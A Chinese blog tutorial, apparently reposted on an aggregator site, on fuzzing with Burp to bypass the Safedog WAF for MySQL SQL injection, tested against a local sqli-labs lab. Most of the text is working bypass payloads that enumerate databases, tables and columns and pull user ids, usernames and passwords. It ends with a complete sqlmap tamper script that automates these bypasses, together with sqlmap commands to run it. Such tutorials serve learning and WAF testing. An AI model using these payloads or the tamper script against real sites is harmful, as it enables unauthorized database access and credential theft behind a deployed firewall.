从SQL注入绕过最新安全狗WAF中学习fuzz

这篇具有很好参考价值的文章主要介绍了从SQL注入绕过最新安全狗WAF中学习fuzz。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

SQL注入并不是很精通,通过实战绕过WAF来进行加强SQL注入能力,希望对正在学习的师傅能有一丝帮助。

安装

安装前言

我是本地搭建的环境进行测试的 环境是windows11+phpstudy2018+sqli-labs phpstudy的安装我不再复述,这里简单说一下安全狗插件和安全狗的安装。

过程

在安装安全狗之前,一定要先做好安装apache2.4这一项,否则可能要浪费半个下午的时间来整(受害者本人自述了属于是),因为在提前安装好这个后,再安装安全狗,就会出现如下图所示的情况,这时候就很容易进行配置了

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

而如果你后安装apache2.4,出现Apache插件安装失败的可能性极大,那我们要怎么安装apache2.4呢,很简单,首先找到你apache下的bin路径,我的是"D:\phpStudy\PHPTutorial\Apache\bin",然后进入cmd中(以管理员身份运行)

C:\Windows\system32>d:
​
D:\>cd D:\phpStudy\PHPTutorial\Apache\bin
​
D:\phpStudy\PHPTutorial\Apache\bin> httpd -k install -n apache2.4
//安装插件

此时插件的安装就完成了,直接去官网找Apache版本的安全狗

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

下载到本地即可,此时进行安装(不要开启phpstudy),此时选择好安装路径后就会出现配置界面,它安装过插件的话一般是会自动检测的

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

此时直接点击确定就好了,然后打开就会发现插件是已安装的

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

此时看安全狗这个网站安全狗与防护总开关是否都开启,只有都开启了才有效,此时再去打开phpstudy,一般他就应该是自己变成系统服务了,如果没变的话就再选择一下即可

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

然后此时的话这个防护网站变成1个就说明配置好了

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

去访问网站就可以发现安全狗生效了

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

构造1=1

方法一

首先这里的话是尝试一个1=1,发现是不可以的

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

更换成true=true进行尝试

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

仍然不行,此时发现当and和后面没有空格的时候就会报错

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

我们这里尝试用/*/来充当注释符

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

发现还是被过滤了,此时我们就利用bp来进行fuzz,抓包后在/*/中添加变量(为爆破做准备)

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

选择暴力破解,字符集就选/!*进行测试即可

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

得到结果

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

发现很多都可以充当空格来进行绕过,我们随意挑选一个进行尝试,构造payload如下

id=1' and/**/1 --+

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

成功绕过

方法二

当然常见的还有一个内联注释符,就是/*!00000*/这种的,用实例来解释是最好理解的

mysql> select @@version;
+-----------+
| @@version |
+-----------+
| 5.5.53    |
+-----------+
1 row in set (0.00 sec)
​
mysql> select /*!999991*/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
​
mysql> select /*!000001*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
​
mysql> select /*!1*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
​
mysql> select /*!505531*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
​
mysql> select /*!505541*/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

这种注释在mysql中叫做内联注释,如果没有接版本号时,会直接执行里面内容。当!后面接数据库版本号时,如果自身版本号(上述例子中的5.5.53)大于等于字符数(例如上述例子中的99999和00000),就会将注释中的内容执行,否则就会当做注释来处理。 那么这里的话,我们就想构造1=1,就可以利用它来进行绕过,我们构造如下/*!000001*/=/*!000001*/语句尝试进行绕过

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

可以发现成功绕过了

order by 绕过

直接利用的话可以发现是不可以的

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

由1=1的构造思路,我们尝试构造空格来进行绕过,构造payload如下

id=1' order/**/by 3 --+

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

id=1' order/**/by 4 --+

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

成功判断出来了字段数为3

联合查询

首先的话是想利用内联注释来进行一个绕过,因为单独的一个union和单独的select都是可以的,此时我就想利用它内联注释字符数大于版本号时将其内语句作为注释来进行一个绕过, 测试过程如下

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

选择暴力破解,设置0-9依次进行爆破

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

而后得到结果

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

发现这种利用垃圾字符的内联注释方式无法再次绕过,此时我们去尝试进行其他方法,想到之前的fuzz/**/中间加东西可以绕过,不妨试一下这种,设置如下

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

选择暴力破解,将字符集进行更换即可

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

得到结果

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

发现有很多可以绕过的,随便选一个来进行测试,构造payload如下

id=-1' union/*/!*!**/select 1,2,3--+

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

可以发现正常执行了,说明绕过了,这里再给出几个payload,师傅们可以自行测试

id=-1' union/*//--**/select 1,2,3--+
id=-1' union/*/!--**/select 1,2,3--+
id=-1' union/*/-*!!*/select 1,2,3--+

爆库

方法一(/**/方法)

此时直接去将3变成database()会被绕过,此时我是想用/*xxx*/()这种方式来进行绕过,利用bp设置如下

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

而后如下设置暴力破解

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

得到结果

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

可以发现有很多方式,我们随便挑选一个进行测试

id=-1' union/*/!*!**/select 1,2,database/*///-*/()--+

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

成功绕过

方法二(/*!*/内联注释法)

我们设置payload为/*!()*/这种,利用bp在括号前面加上五个数字,依次来检验哪个可以进行绕过,具体设置如下

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

而后选暴力破解,设置如下

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

得到结果

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

随机取出一个进行测试,构造payload如下

id=-1' union/*/!*!**/select 1,2,database/*!20553()*/--+

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

成功绕过

爆表

正常的话语句一般是这个样子

group_concat(table_name) from information_schema.tables where table_schema=database()

那么这里的话我们测试过后就会发现information_schema被过滤了,它俩只要在一起挨着就会被过滤

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

同时呢,我们也发现利用from的时候也会被过滤

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

对这两个进行分别fuzz的话比较麻烦,而且将两者进行一起用时可能会出现仍然被过滤的情况,因此此时的话就自然的想到了内联注释这种方法,可不可以用这种方法来进行绕过呢,我们先尝试一下

from/*!information_schema.tables*/

结果如下

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

显然这种是不可行的,但是我们知道还有一种的话就是内联注释的利用方法就是中间加注释符再加换行,也就是/*!%23%0a*/这种形式,我们先进行本地测试

mysql> select /*!#
    -> 1*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
mysql> select /*!#/*
    -> 1*/
    -> ;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)

此时经过本地测试发现,当运用内联注释时,里面插入/*,来构造/**/,也是可以实现绕过的,此时我们先试本地测试的第一种方法

?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!%23%0ainformation_schema.tables*/ where table_schema='security'--+

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

此时被绕过,那我们就用刚刚测试出来的第二种方法进行尝试

?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!%23/*%0ainformation_schema.tables*/ where table_schema='security'--+

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

此时想有没有可能是过滤了%23,我们将%23换成--+ 构造payload如下

?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables*/ where table_schema='security'--+

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

得到了全部表

爆列

有了表名的注入,那么注入列名也不是件太难的事情,修改一下语句即可,构造payload如下

?id=-1' union/*/!*!**/select%201,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns*/ where table_name='users'--+

爆字段信息

同理,修改语句即可

?id=-1' union/*/!*!**/select%201,2,group_concat(id,password)from/*!--+/*%0ausers*/--+

其他姿势

like["%23"]

在学习其他师傅的文章时,偶然间发现这个like["%23"],这个的话我们知道%23是注释符的含义,那么在这里的时候,它这个语句到底有什么作用呢,我们测试一下就知道了 首先先正常查一个字段信息

select * from users where id=1 ;

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

此时可以发现有一个结果,我们加上我们的like["%23"],构造payload如下

select * from users where id=1 like "[%23]";

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

此时表变成空的了,那我们如果此时这样构造payload

select * from users where id=1 like "[%23]" union select * from users;

我们知道前面users where id=1 like "[%23]"这个是空,那它这条语句就相当于

select * from users

如下图所示

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

那么此时我们就可以去我们的靶场进行测试,看是否能绕过

id=-1' like "[%23]" /*!10440union select*/ 1,2,3 --+

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

发现没有绕过,此时我们将union后的空格用换行符替代

id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,3 --+

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

此时就可以注入了,因此新的姿势就出现了,其他具体的不再列举,这里给出payload

//爆库
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,database/*!--+/*%0a()*/ --+
//爆表
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables */where table_schema='security'--+
//爆列
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns */where table_name='users'--+
//爆字段
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(id,username,password)from/*!--+/*%0ausers*/--+              

tamper脚本

脚本如下

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:quan9i.top
"""

import re #导入re模块
import os #导入os模块

from lib.core.data import kb #导入sqlmap中lib\core\data中的kb函数,测试SQL注入的过程中,使用的配置文件事先全部被加载到了conf和kb
from lib.core.enums import PRIORITY  #导入sqlmap中lib\core\enums中的PRIORITY函数,LOWEST = -100,LOWER = -50,LOW = -10,NORMAL = 0,HIGH = 10,HIGHER = 50,HIGHEST = 100
from lib.core.common import singleTimeWarnMessage#输出到sqlmap控制台的函数
from lib.core.enums import DBMS#一个数据库的枚举
__priority__ = PRIORITY.LOW#定义优先级为LOW

def dependencies():
    singleTimeWarnMessage("Bypass safedog by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))# singleTimeWarnMessage() 用于在控制台中打印出警告信息
def tamper(payload, **kwargs):
	payload=payload.replace('AND','/*!10000AND*/')
	payload=payload.replace('OR','/*!10000OR*/')
	payload=payload.replace('ORDER BY','ORDER/**/BY')
	payload=payload.replace('()','/*!20553()*/')
	payload=payload.replace('UNION SELECT','UNION/*/!*!**/SELECT')
	payload=payload.replace('information_schema.tables','/*!%23%0ainformation_schema.tables*/')
	return payload
	

示例如下

//检测可注入类型
python sqlmap.py -u http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1 --tamper=dog 

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

破解数据库

python sqlmap.py -u http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1 --dbs --tamper=dog -v5

从SQL注入绕过最新安全狗WAF中学习fuzz,sql,安全,学习

参考文献

SQL注入bypass最新版安全狗 - 先知社区 什么,有狗快跑!慢着,这次手把手教你怎么过安全狗!(sql注入篇) - 知乎 https://www.cnblogs.com/Cl0ud/p/14394627.html SQL注入-安全狗apache最新版绕过-腾讯云开发者社区-腾讯云 Python攻防-Fuzz绕过安全狗进行SQL注入_Tr0e的博客-CSDN博客 SQLMap绕过脚本tamper(from 《Web安全攻防渗透测试实战指南》)_Masked5的博客-CSDN博客 记一次艰难的SQL注入(过安全狗) - FreeBuf网络安全行业门户 https://www.cnblogs.com/Cl0ud/p/14493204.html https://www.cnblogs.com/Cl0ud/p/14394627.html

加下方wx,拉你一起进群学习

 文章来源地址https://www.toymoban.com/news/detail-631430.html

到了这里,关于从SQL注入绕过最新安全狗WAF中学习fuzz的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 安全狗SQL注入绕过

    本文用sqli-labs第一关为例 一、简单注入 开启安全狗后尝试正常注入,发送请求后可以看到被安全狗拦截了 寻找被安全狗匹配的特征字符,这里没被拦截 原来是当and 与 xx=xx 同时出现的时候会被安全狗识别 1.1 简单注入绕过方式 这里可以使用mysql的内联注释来进行绕过 内联注

    2024年02月08日
    浏览(38)
  • 【WAF剖析】——SQL注入之安全狗bypass深度剖析

    作者名:Demo不是emo  主页面链接:主页传送门 创作初心: 舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷 座右铭: 不要让时代的悲哀成为你的悲哀 专研方向: 网络安全,数据结构 每日emo: 保持

    2024年02月03日
    浏览(30)
  • Web安全之SQL注入绕过技巧

    两个空格代替一个空格,用Tab代替空格,%a0=空格:   最基本的绕过方法,用注释替换空格: 使用浮点数: 如果空格被过滤,括号没有被过滤,可以用括号绕过。 在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两

    2024年02月07日
    浏览(30)
  • 生命在于学习——SQL注入绕过

    SQL注入绕过技术已经是一个老生常淡的内容了,防注入可以使用某些云waf加速乐等安全产品,这些产品会自带waf属性拦截和抵御SQL注入,也有一些产品会在服务器里安装软件,例如iis安全狗、d盾、还有就是在程序理论对输入参数进行过滤和拦截,例如360webscan脚本等只要参数

    2023年04月08日
    浏览(38)
  • SQL注入---字符绕过

    文章目录 前言 一、pandas是什么? 二、使用步骤 1.引入库 2.读入数据 总结 当网页源代码中出现如下代码后,常见的注释符号将无效,因此需要通过特殊手段进行绕过 上述代码中无法使用符号(#)或(--+)将后面的sql语句注释,因此需要通过特殊手段将后面多出的单引号闭合

    2024年04月11日
    浏览(35)
  • sql注入(三)绕过方法及防御手段

    常用的注释符有: 1)-- 注释内容 2)# 注释内容 3)/* 注释内容 */ 绕过方法 构造闭合: 这样接收源码前面的引号被 id=1\\\' 中的后引号所闭合,源码中的后引号会被 \\\'1\\\'=\\\'1 中的前引号所闭合所以这样不用注释符就逃逸出引号。 常用于 waf 的正则对大小写不敏感的情况。 当一些关

    2024年02月02日
    浏览(73)
  • iwebsec靶场 SQL注入漏洞通关笔记11-16进制编码绕过

    iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记3- bool注入(布尔型盲注)_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时

    2023年04月24日
    浏览(37)
  • 网络安全进阶学习第九课——SQL注入介绍

    将 不受信任 的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、NoSQL注入、OS 注入和LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在 没有适当授权 的情况下执行非预期命令或访问数据。 注入能导致 数据丢失、破坏 或 泄露给无授权方 ,缺乏可审

    2024年02月14日
    浏览(37)
  • 03-WAF绕过-漏洞利用之注入上传跨站等绕过

    1.绕过cc流量 通过sqlmap对网站进行测试的时候,如果对方有cc流量防护,需要给sqlmap设置一个代理进行注入。 防cc拦截:修改user-agent头+代理(付费代理池) 修改user-agent头: ​ (1)加参数:–random-agent 使用随机user-agent进行测试。sqlmap有一个文件中储存了各种各样的user-age

    2024年02月02日
    浏览(34)
  • WAF绕过漏洞利用——漏洞利用之注入上传跨站等绕过

    目录 前言: (一)SQL注入 0x01  sqlmap注入 修改user-agent头: (二)文件上传

    2024年02月12日
    浏览(33)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包